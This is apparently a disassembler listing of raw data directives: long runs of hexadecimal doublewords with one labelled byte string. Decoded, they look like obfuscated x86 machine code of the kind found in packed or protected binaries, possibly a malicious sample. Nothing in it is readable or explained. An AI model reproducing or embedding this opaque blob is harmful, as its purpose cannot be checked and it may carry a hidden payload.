dd 0C3564600h, 74EC17BBh, 3D3D9C25h, 0B5294154h, 93502F1h
dd 0B767858Bh, 8E90938h, 0F3000000h, 3BFA6BF9h, 9C8D35Fh
dd 35029595h, 1800C709h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 4ACCC350h
dd 0D33E63AAh, 7E9h, 0E99C9100h, 1E5DE860h, 0B76BB58Bh
dd 858B0938h, 93524D5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Dh, 57C35343h, 0F4805964h, 6FBFDD38h, 0E90689DEh
dd 0Dh, 5E2C53E2h, 6734CFD2h, 5D655C1Eh, 5FF856F9h, 2B61858Bh
dd 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 0CAE560C3h, 89FA8B66h, 6A0446h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 22884CC3h
dd 525096CDh, 28C0Fh, 5F500000h, 5250310Fh, 0FF98B66h
dd 0CE931h, 0B7F90000h, 0EEA9FD0Fh, 52CFE07Dh, 585A1FE8h
dd 6650585Ah, 6A96DE8Bh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 0F960C350h, 0B767B5FFh
dd 0F3800938h, 0ADBD89E8h, 68093531h, 0C5F31DC6h, 81F88B66h
dd 0E6392404h, 8DF93A2Bh, 38B76F85h, 6840F09h, 29000000h
dd 3522DD9Dh, 8B0F9009h, 4, 5FFA8B57h, 60525050h, 61605A56h
dd 50310F61h, 0F5B5252h, 5AFB8B31h, 90585A58h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 58C35141h, 8BF93142h
dd 0DD95FFFAh, 0F09350Ch, 682h, 898D2900h, 81093516h, 2E2816E7h
dd 6A615Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 0B71547C3h, 1F65B65Bh, 16E9BD8Bh, 85C70935h
dd 9352255h, 3, 8BDED780h, 353269BDh, 6FBD8309h, 938B7h
dd 6A840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 0E95657C3h, 0Bh, 0BBE0A30h, 0E3F14CCh
dd 5F4D19E2h, 52E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1B04h, 0C3534300h, 3C49CECEh, 0C514020Ah
dd 0FD858B60h, 31093523h, 3503718Dh, 9D8B6109h, 93523B5h
dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h
dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 0A0DAC351h, 51006A5Ah, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0B860D992h
dd 77D699EBh, 523BE381h, 10E87ABAh, 0F1000000h, 8735290h
dd 37A974C0h, 43DFCD6Eh, 5F6AD111h, 2255BD83h, 0F030935h
dd 42F85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1704h, 0C3564600h, 3250C9BBh, 29D5B529h, 83F50935h
dd 38B76FBDh, 840F0009h, 3FCh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 2CC35545h, 9C162273h, 14E9h
dd 7C26C800h, 5C64ACA0h, 0DFB9962Bh, 55BE4C9Fh, 0C0392031h
dd 818D897Fh, 0FF09350Dh, 38B76FB5h, 6860F09h, 8B000000h
dd 352FA59Dh, 1195FF09h, 6609352Eh, 0B58BD98Bh, 938B763h
dd 106C7F9h, 50000100h, 7E9h, 92163000h, 0C2979A10h, 0DABF0F5Fh
dd 10E896h, 4BFA0000h, 9AFB91h, 0FF921F1Ch, 1C3AE0E2h
dd 0E9517719h, 12h, 7996EB4Fh, 9BF7A6C7h, 0FD0041DFh, 2CD84F64h
dd 5B5FE06Dh, 0F88B6650h, 61952996h, 0FF093532h, 38B76FB5h
dd 8995FF09h, 6A093502h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 0C364C353h, 1EA9BD8Bh
dd 0B58B0935h, 938B763h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 62C35646h, 6A5C556Bh, 9BE9D90Dh, 699D8999h
dd 89093511h, 3523D595h, 99858B09h, 909350Eh, 35249DB5h
dd 0C4868909h, 2B000000h, 35330DBDh, 29958B09h, 8B093516h
dd 35111D9Dh, 4C28309h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 14h, 0F3C35141h, 0DF5BD89h, 0B70F0935h, 205089DAh
dd 858D3BB7h, 938CC07h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 3AC35545h, 86894F8Ah, 0B8h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 83C35747h, 6AEB48h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0CDC35343h
dd 600EB168h, 3319B589h, 8B610935h, 351179BDh, 6FB5FF09h
dd 6A0938B7h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 6BCC353h, 0CA6F6B6Ch, 0BD8B5719h, 9352779h
dd 5195FF5Bh, 1093511h, 352C51B5h, 8C0F9609h, 6, 0FFBB6660h
dd 605061E7h, 7E9h, 0A51B300h, 5D898605h, 5E95250h, 2E000000h
dd 7E66C5D8h, 32BB310Fh, 5A21DCE4h, 0E8966158h, 12h, 78AFE186h
dd 93FA93A9h, 0BFD2AE1Dh, 0F9B5030Ah, 0BD8BBA95h, 9351B95h
dd 6FB5FF5Bh, 0F50938B7h, 0B5595FFh, 0B5890935h, 9350EBDh
dd 0EE9h, 0C674F700h, 0FD14BAA2h, 1FB789D0h, 83299787h
dd 350079BDh, 840F0009h, 3Ah, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 51C35242h, 7E83DCFh, 0D000000h
dd 3FEB2641h, 0F52F75Fh, 89h, 505B5B00h, 56243489h, 0B5FF5FF9h
dd 938B76Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 2EC35242h, 0FE99747h, 95FFF9BFh, 9351C35h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 6CC35343h, 833A0180h
dd 0D9D8BDAh, 0F093506h, 38Bh, 0FA8B6600h, 0B76FB5FFh
dd 0F88A0938h, 2CE595FFh, 0BB660935h, 0BD83D151h, 93526BDh
dd 72840F02h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 17042444h, 46000000h, 241C356h, 858B70D9h
dd 93526ADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 0A6C35141h, 69CD28FAh, 6EC261A5h, 8DC78166h, 0C65Eh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 68C35343h
dd 5FE02D27h, 6585C7EEh, 93532h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 6D88C357h
dd 3656A724h, 0D6530C9Bh, 898FBF66h, 0FFF2C1E9h, 53006AFFh
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 0D647B7A1h, 0BF0F20E5h, 25BB66DBh, 10E937h, 0B5F40000h
dd 0DD01ADC4h, 2A9E2F4Eh, 0EE264AA0h, 0C18BB0BCh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 11C35545h, 0F1E185Bh
dd 7E9DAh, 0C5950000h, 1E43B6D1h, 59858D40h, 6A093526h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 8F82C350h, 10FCDD4Fh, 27F19D29h, 57900935h
dd 61605250h, 880F310Fh, 0
aZx_pfGxrj db 'ZX_Pf©g∙░j',0
db 55h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 419D8B21h, 6A093505h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 6666030Dh, 55B9DF81h
dd 0B499D8Bh, 6A0935h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 37C35646h, 87C9BB68h, 85890C32h, 93522A1h
dd 7E51858Dh, 6A0939h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 0F8A24CC3h, 0CAE13B14h, 5C0837Bh
dd 82EB8166h, 9D8B518Eh, 935242Dh, 0F6B7905Bh, 0E8525050h
dd 6, 0FB531F63h, 0F88B262Ch, 8A310F5Fh, 90585AFEh, 0AE8h
dd 0F7A0ED00h, 0BAE98665h, 661F0F09h, 5F3B2FBFh, 28D9D8Bh
dd 6A0935h, 0C811C781h, 6AFC1A12h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0EB8147DEh
dd 4619D8D6h, 33195FFh, 8D8D0935h, 9389AABh, 0AE9h, 4DC6A900h
dd 337E1B96h, 0E9B39DFFh, 0Ch, 0F710E506h, 23410055h, 0C29E97C6h
dd 0BF66D1FFh, 13E8817Fh, 7A000000h, 0AEDBA021h, 77F1C840h
dd 0F670412Fh, 0BD21A1FBh, 835B9762h, 351C19BDh, 850F0109h
dd 9Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh
dd 42C35545h, 0CA7D280Ah, 0FD9078Fh, 26ADEB7h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 55C35040h, 90B89FABh
dd 9058F380h, 0BB665250h, 310F029Ah, 5050585Ah, 0F98B6652h
dd 0DF8B310Fh, 0E990585Ah, 0Bh, 0F72CDADEh, 4CB0E651h
dd 0FFCC9EF9h, 35115195h, 52006A09h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0BBDE89B9h
dd 0E9AD1DE0h, 0E58h, 0E8h, 0ED815D00h, 9397E5Bh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F5C35545h, 386BC764h
dd 8F0F701Ah, 1Bh, 0FE8h, 0DCBF9400h, 9D9195E6h, 47D5A5E5h
dd 67529C84h, 5A18589h, 0F5B0935h, 858DD8BFh, 938932Bh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0E6C35545h
dd 0E8C9C318h, 3695CDFCh, 13BB90D8h, 50333B9Dh, 6A90DA8Bh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 0D15FC351h, 0EED78166h, 0BD896083h, 9352FF1h
dd 10E9h, 9B862700h, 0D945477Ch, 43ACADB1h, 7DF0ACCCh
dd 0FF6461C2h, 35h, 0F3805300h, 89645FCFh, 25h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 0CCB5EC86h, 0FD8D891Eh, 0E909352Ch, 7, 21EC921Ah, 0FF1F2C22h
dd 35300985h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 7AEEBCCCh, 8D2191F1h, 2AB319CFh
dd 6E9FF6Ah, 9A000000h, 0D8C3991Eh, 79B5FF40h, 3109352Ch
dd 3526158Dh, 0B995FF09h, 0E909352Eh, 164h, 0F00B0F8h
dd 883h, 880F5100h, 0
dd 0AE85Fh, 0BD60000h, 0C74B524h, 0E7C6F35Ah, 58E0Fh, 0AABF0000h
dd 5B78C068h, 0E4F870E6h, 57BB6671h, 0F613CA7h, 12783h
dd 5BD0100h, 0F09351Ch, 8A0FC8B6h, 6, 0EA5BD8Bh, 0DE80935h
dd 7B000000h, 0A507AB7Dh, 256367BFh, 0E0D91h, 2A7DBD89h
dd 0BA5B0935h, 6, 800Fh, 0C18B0000h, 5699D29h, 0E8C10935h
dd 0BD8B6004h, 9352FE1h, 0E2F76661h, 2BD88B66h, 318D01C8h
dd 8B093516h, 0C0BF66D1h, 5E96038h, 49000000h, 0F4917A8Eh
dd 1BE961h, 13E80000h, 0C1000000h, 7D7D2D72h, 3F21538Dh
dd 96E4B475h, 0EB9BB32Ch, 0DF8BBAD2h, 61858B5Fh, 29093525h
dd 35006D8Dh, 53DF8109h, 832CB7C3h, 0C08307C0h, 2DBD8B00h
dd 3B093527h, 19830FD0h, 0F000000h, 890FF8BFh, 8, 5DBD3350h
dd 5F093529h, 5FE9h, 0FA8B6600h, 0B218D8Bh, 9D030935h
dd 9352E41h, 0F01E183h, 4784h, 9E800h, 0C3610000h, 0CFFDEDA0h
dd 313C0489h, 351B1195h, 0A5835B09h, 9350B21h, 7E9FEh
dd 0DBEB0000h, 1E22EB0Bh, 61958951h, 0E9093525h, 0Fh, 0FCADC123h
dd 53A458C0h, 283C87EEh, 0E956B9AFh, 0
dd 3DBB58Dh, 6A0939h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 93CD5AC3h, 72B7E69Eh, 0AE92873h
dd 9D000000h, 52D4A61h, 0F67C1CAFh, 995896Fh, 6A09350Ch
dd 399D8B00h, 0FF09351Ch, 35082995h, 619D2309h, 0B9093516h
dd 898h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 99C35747h, 0BAC1860Dh, 6AFCE183h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 4469C352h
dd 519D8B37h, 8A093510h, 0BD8BFCDAh, 9352D59h, 6AC02Bh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 2B8DC5C3h, 0CB65DAE1h, 50535FBBh, 5FFFB70Fh, 0BAh, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 23EB028h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 76C35242h, 5B0BEBF2h
dd 2F49B3BAh, 0CB8166A3h, 6A88B7h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1B0424h, 55450000h, 89DF53C3h, 0FAC3B3F4h
dd 880DF823h, 89000000h, 3511A19Dh, 29958B09h, 0E8093516h
dd 13h, 348E9BE8h, 6584FE54h, 0C5E47935h, 1DCF310Ah, 5BF78A32h
dd 287D8D8Bh, 0CE90935h, 0A6000000h, 0B973D957h, 170D90D2h
dd 5098E5FEh, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h
dd 0FB8B5158h, 18830F5Bh, 0E9000000h, 13h, 91A30C0Bh, 0D21D2F63h
dd 0A238634Ch, 0BDA876Ch, 0FC09D2C8h, 1249BD83h, 0F000935h
dd 0B484h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 31A3D53h, 0B935A505h, 8166ACFCh
dd 0F9CE7D7h, 38Eh, 0DFB70F00h, 0B8h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 0DFB64522h, 499D89B2h, 8D09350Ch, 354C028Dh, 50006A09h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 64AF9D83h, 0E5E9DBF1h, 0E1FF2009h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 0EEC35040h, 8842B903h, 335F89C8h
dd 35306D9Dh, 55BD8309h, 93522h, 48C840Fh, 860F0000h, 6
dd 1E999589h, 0BD830935h, 9352255h, 8E840F01h, 8B000004h
dd 3522A19Dh, 55BD8309h, 3093522h, 445860Fh, 860F0000h
dd 8, 8E0F50h, 5F000000h, 8E9h, 5369F300h, 0F92FBF9Dh
dd 6A606Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
dd 55450000h, 0D44374C3h, 0EAA99109h, 1B59BD0Bh, 8C660935h
dd 0CFBF56D9h, 5F76529Bh, 6A04E180h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0A9FFC351h
dd 3A265E98h, 2C2D8589h, 0C90A0935h, 13E840Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 8B5B29C3h, 61858BFBh, 3309352Bh, 352FC99Dh, 7D853309h
dd 6A09350Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 286FC355h, 88888268h, 5E8h, 0C2578900h
dd 5EBFFC54h, 5B438156h, 19CF8166h, 830F50E1h, 10h, 0AE8h
dd 0C1A5C00h, 0CD759E00h, 5F390474h, 6A240489h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 0C538C355h, 0BE806h, 0C5700000h, 0C0A7BE8Eh, 0EF8CCD1Dh
dd 1952992h, 5F093505h, 9E8006Ah, 7E000000h, 0E3224E06h
dd 957EA564h, 2A96685Bh, 0BB663FE1h, 34814C48h, 0FE296924h
dd 0FFFA8B3Fh, 350CDD95h, 55006A09h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 1A1648A8h
dd 89DEBF0Fh, 35260DB5h, 6F858909h, 6A0938B7h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 0FA64C351h, 68D6105Eh, 61BB6690h, 200E98Bh, 85890000h
dd 9350CB9h, 0B767858Bh, 6A0938h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 20AC9CC3h, 3AA1322Ah
dd 2DB99D8Bh, 9E90935h, 0D9000000h, 0DA8C0252h, 0ECB0C6A2h
dd 1800C7h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 8B8E7FC3h, 3506C9BDh, 6BB58B09h
dd 0BF0938B7h, 0DF4799Fh, 24D5858Bh, 0CB810935h, 23623403h
dd 6A0689h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 0F02C2DC3h, 0F42E14FDh, 0FE8B66FEh, 2B61858Bh
dd 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 9842A9C3h, 0E9A293D1h, 6, 0A44B3F77h, 46893C24h
dd 95BD2904h, 96093501h, 11E9h, 16F99400h, 0EECFACD9h
dd 2C3D054Bh, 3C01AA20h, 50504602h, 0BE852h, 93A30000h
dd 619E5414h, 377A5C85h, 5B5F5189h, 8B66310Fh, 96585ADFh
dd 21F58589h, 0B5FF0935h, 938B767h, 0CE0768FCh, 5250BAC5h
dd 0D40ABF66h, 5250310Fh, 310FF98Bh, 8D0Fh, 585A0000h
dd 481585Ah, 5935F824h, 57006A45h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 33086C3Dh, 858D0C41h
dd 938B76Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 24C35242h, 81EA7B9Fh, 4170028Eh, 0CE833h, 0F96D0000h
dd 22344C1Dh, 9FF0BEC1h, 0F600857h, 85h, 59858900h, 6109352Dh
dd 30DB815Bh, 902A77DFh, 0CE9h, 0CF012F00h, 0CBCD02EDh
dd 88D31FE3h, 8B665073h, 6A90D8h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 0E9A3E4C3h, 0A4B813FDh
dd 0F53A3D33h, 0CDD95FFh, 89610935h, 3505F59Dh, 5585C709h
dd 3093522h, 0E9000000h, 13h, 77A285C7h, 23F8A7A6h, 0CBB4326Fh
dd 82B9C348h, 831A7B6Fh, 38B76FBDh, 840F0009h, 57h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0ECC35141h, 5D8691FCh
dd 1A4A9CDCh, 0FB8B662Ah, 45E9h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 1646716Bh
dd 76E9AA58h, 0C5BD2BACh, 5009351Bh, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 0BF0FC08Bh, 51006AD8h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 65BD8B5Eh, 8309350Bh, 352255BDh, 850F0309h, 3E3h, 0AE8h
dd 0FA2CAF00h, 29D68356h, 667BFBE0h, 5F2935BFh, 0B76FBD83h
dd 0F000938h, 3C284h, 0EDBD3100h, 0FF093507h, 38B76FB5h
dd 5E809h, 0A6720000h, 8BE6A774h, 95FF5FDAh, 9352E11h
dd 0E5D8D31h, 0B58B0935h, 938B763h, 8BFA8B66h, 106C7DFh
dd 6A000100h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 110DC353h
dd 0E8B7547Bh, 0Ch, 150DEEB9h, 3C195325h, 4895177Ah, 91858960h
dd 89093503h, 3500F585h, 505F6109h, 922ABA60h, 0D78B6139h
dd 24348961h, 0A60AE381h, 0B5FF3C73h, 938B76Fh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 74C35747h, 660DF6BAh
dd 95FFF98Bh, 9350289h, 0CF58589h, 0FD8A0935h, 0B763B58Bh
dd 6A0938h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 9509E7C3h, 9351BB5h, 0E99858Bh, 6A0935h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 76BD4DC3h, 0C48689D8h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0EE0BC356h
dd 559D290Fh, 8B09351Ch, 29958BDAh, 6A093516h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 0CFFFC350h, 2453BA7Bh, 6A04C283h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0F4D8C356h
dd 0C380B5F0h, 2050893Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 67C35545h, 0F88BD910h, 0CC07858Dh, 850F0938h
dd 0Bh, 6E9h, 7D52E200h, 8987417Ch, 0B886h, 8BF78100h
dd 6A01E16Ah, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 8D29039Bh, 9351601h, 0B76FB5FFh
dd 8B510938h, 350FCDBDh, 95FF5F09h, 9351151h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 20C35242h, 0D2E721EBh
dd 7A4EBB7Eh, 0E8966355h, 10h, 7E7FC7Ah, 4B0675A1h, 43BB4F5Dh
dd 9879B14Dh, 6E9h, 0B503800h, 5FA13CCEh, 0DA8B6650h, 6FB5FF96h
dd 6A0938B7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 7165C357h, 182EB038h, 0FF94D7Bh
dd 38Ah, 0FA8B6600h, 0B5595FFh, 6A0935h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 589527C3h
dd 96C05AE3h, 2C518D29h, 0BD830935h, 9350079h, 34840F00h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 89DDC350h, 352CD585h, 81BD3309h
dd 96093522h, 53BA6050h, 8B3F6583h, 0FF9661C7h, 38B76FB5h
dd 95FFF909h, 9351C35h, 84C9EB81h, 0BD2B161Dh, 9351115h
dd 0B76FB5FFh, 0EB810938h, 1F2F3501h, 0C5BD8B60h, 909352Fh
dd 352765BDh, 95FF6109h, 9352CE5h, 26BDBD83h, 0F020935h
dd 5284h, 0CE900h, 1DF30000h, 1AF76F4Eh, 0C53246D5h, 858B8D48h
dd 93526ADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 59C35141h, 434644F2h, 0BD8BB7EEh, 93502B5h, 77D38166h
dd 0C674h, 3F19D89h, 81660935h, 0C7CE7FE7h, 35326585h
dd 9, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1D04h, 0C3574700h, 72238D4Dh, 0B2883C67h, 0DB801AF5h
dd 0DBCB8183h, 0E95510CDh, 0FFFFF304h, 1A840Fh, 12E80000h
dd 0C0000000h, 0AE426FB3h, 32753589h, 0F76BB492h, 80C1CC46h
dd 5F5B574Ch, 2CB3C18Bh, 2D5404EBh, 3CE931D1h, 8E000005h
dd 0E29607ACh, 9749524Fh, 0D8A0FD98h, 92465740h, 969DFE9Bh
dd 8D0C25E5h, 0C6D34810h, 900D23D5h, 0C0D9550Bh, 0B99F5DBh
dd 12FCB5C1h, 15A328B5h, 8B6B76EBh, 9B941D11h, 8F01F0FEh
dd 0E69A0396h, 0A64D4Ah, 935160FEh, 1C364129h, 7E757B1Dh
dd 0EC80FAFAh, 918C00F3h, 2184E908h, 0CBD44833h, 83100ED2h
dd 8C3F7F4Bh, 993DDF07h, 4B7E449Eh, 747A1C35h, 0BB03AB80h
dd 0A0BF1C22h, 863ABE35h, 589CE44Bh, 834B48E6h, 4FEE13Bh
dd 3EB6D22Dh, 8EA11BBFh, 0F269E313h, 0AF1C0CE7h, 9F3C32C5h
dd 0F9E67AFEh, 80636AFAh, 9B6A1C35h, 0BA5DB0A9h, 0F30D8950h
dd 12965D78h, 6933E2h, 47940000h, 9C1EAE2Bh, 55DC1881h
dd 58130FB1h, 0F7041CD9h, 6F826C82h, 537B09EDh, 5C1C3572h
dd 0CB02DBC9h, 9C8950C8h, 1, 47B915EBh, 8F35AF2Ah, 8B1C3641h
dd 21F9165h, 75E85C97h, 1B13856Ch, 0B5AC4E7Eh, 0B54BCD24h
dd 54DB1BBEh, 0F18470EDh, 179D437Ch, 131C3641h, 7C24315Fh
dd 9D536202h, 9A964A53h, 47ABA0FDh, 0D448AB2Eh, 408C4059h
dd 364118A2h, 6A8A0C1Ch, 3C2875E3h, 0D4C9D049h, 624FE0DAh
dd 9D1FD2CFh, 3529A353h, 879E20ACh, 0E95BE212h, 319B4976h
dd 251C3641h, 0F3FD9893h, 0EA82F6FDh, 9A9206EDh, 6F6A03FDh
dd 831C1084h, 4596EC70h, 1BF39C5Fh, 0E70F8AA1h, 6CB1AA9Ah
dd 1B894FFFh, 8Dh, 0AB2E476Ch, 4E5BD448h, 0A22AC4D1h, 0F74CACDAh
dd 22D21B79h, 8A35299Bh, 363D6E54h, 0AA446A1Ch, 3E5BD547h
dd 77E403B3h, 13DFA60Fh, 0BEB9ABFAh, 11E4D04Dh, 641C8118h
dd 0C000CCCDh, 0DB53CEDAh, 28302BEh, 920F22DCh, 0F169DB62h
dd 0BD2809E8h, 0D0A7F6D7h, 63E08950h, 0AA000000h, 0CB2688D2h
dd 0A15574DCh, 0AB2E4702h, 718A248h, 5BA7579Ah, 0F3D3A244h
dd 0D852A24Ch, 29A5946h, 0DAE0FECAh, 0CE1C3593h, 0EDD72CC8h
dd 596031Ah, 75EB1526h, 0EF078968h, 1109E07Dh, 9E76988h
dd 41735AEAh, 0AB7A1C36h, 0F96DA0B9h, 0FFA894Fh, 0D4000000h
dd 0F11054ECh, 0C90637Eh, 492FBCB4h, 284706ADh, 5ED246ADh
dd 413B811Fh, 0A92F1C36h, 9D438747h, 1C364117h, 0EA698D13h
dd 0D0BBA9FAh, 7559425Fh, 41418B19h, 0B3351C36h, 0FFE5B043h
dd 205AAB13h, 4F7F71B5h, 2FA4691h, 18B43A15h, 0ED098EA6h
dd 617EF266h, 2FA8C43Ch, 819C1EC4h, 494EE618h, 0F2AF17ADh
dd 7BF1300h, 955C7DF5h, 0A68EE313h, 8A425FD3h, 0F21AA03Eh
dd 660E1300h, 0F29238h, 8E608613h, 53CF9166h, 2539AB46h
dd 56C735BCh, 1A879B6Eh, 487CD181h, 23EB9285h, 97000001h
dd 61900925h, 0BB1EFDFh, 0FF1300FFh, 2E761DD9h, 425FD39Bh
dd 0B7223DAFh, 0B836B83Ch, 5F43CE14h, 1FC11503h, 0D3CC60D4h
dd 7D1A16CAh, 716E0276h, 0D3C11282h, 23AB3428h, 0D81B8699h
dd 24B1AA54h, 0CEAB4BCDh, 8516B1DCh, 41B692h, 2E150000h
dd 0C307C787h, 8F2D54FBh, 0DE90F90h, 35817D77h, 4C49791Ch
dd 0D4B073D7h, 8414DF11h, 1C35C73Eh, 0FFC4B055h, 7F7762FDh
dd 0E1EDBDF4h, 7D1813ADh, 0C811EB79h, 3A51C35h, 94709Ah
dd 2EA10000h, 0D50BC39Bh, 15036972h, 0C4D14E70h, 955C8230h
dd 8DA20F23h, 7431E110h, 85779BE7h, 0E3AE12DCh, 0E6C52676h
dd 0CC00CC22h, 479D3A32h, 1301057Dh, 0AA7F7779h, 0AF0BC04h
dd 0BA4D5137h, 33ACC03Ah, 0C05F30C0h, 0F9AD1300h, 836E6B07h
dd 7366FF01h, 0B3462E83h, 0EE7922BFh, 15CB03DBh, 0BDA4C43h
dd 9C42B137h, 64900D22h, 656976EAh, 1DD9C45Bh, 4F35A696h
